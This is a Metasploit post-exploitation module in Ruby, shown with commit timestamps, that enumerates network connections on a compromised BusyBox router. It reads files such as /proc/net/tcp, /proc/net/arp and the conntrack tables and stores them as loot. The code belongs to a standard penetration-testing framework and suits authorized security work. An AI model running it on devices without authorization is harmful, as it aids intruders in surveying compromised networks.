metasploit-framework/modules/post/linux/busybox/enum_connections.rb

62 lines
1.6 KiB
Ruby
Raw Normal View History

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Post
include Msf::Post::File
2015-08-28 16:50:17 +00:00
include Msf::Post::Linux::BusyBox
2015-08-28 14:28:12 +00:00
FILES = [
'/proc/net/nf_conntrack',
'/proc/net/ip_conntrack',
'/proc/net/tcp',
'/proc/net/udp',
'/proc/net/arp',
'/proc/fcache/*'
]
def initialize
super(
'Name' => 'BusyBox Enumerate Connections',
2015-08-28 14:28:12 +00:00
'Description' => %q{
2015-08-28 14:37:18 +00:00
This module will be applied on a session connected to a BusyBox shell. It will
2015-08-28 14:28:12 +00:00
enumerate the connections established with the router or device executing BusyBox.
},
'Author' => 'Javier Vicente Vallejo',
'License' => MSF_LICENSE,
2015-08-28 14:28:12 +00:00
'Platform' => ['linux'],
'SessionTypes' => ['shell']
)
end
def run
found = false
2015-08-28 14:28:12 +00:00
print_status('Searching for files that store information about network connections')
FILES.each do |f|
2015-08-28 16:56:12 +00:00
if busy_box_file_exist?(f)
found = true
2015-09-06 03:56:11 +00:00
print_good("Connections file found: #{f}.")
2015-08-28 14:28:12 +00:00
read_connection_file(f)
end
end
2015-08-28 14:28:12 +00:00
print_error('Any file with connections found') unless found
end
def read_connection_file(file)
begin
str_file=read_file(file)
vprint_line(str_file)
p = store_loot('busybox.enum.connections', 'text/plain', session, str_file, file, 'BusyBox Device Network Established Connections')
2015-08-28 16:51:26 +00:00
print_good("Connections saved to #{p}")
2015-08-28 14:28:12 +00:00
rescue EOFError
2015-08-28 16:51:26 +00:00
print_error("Nothing read from file #{file}, file may be empty")
end
end
end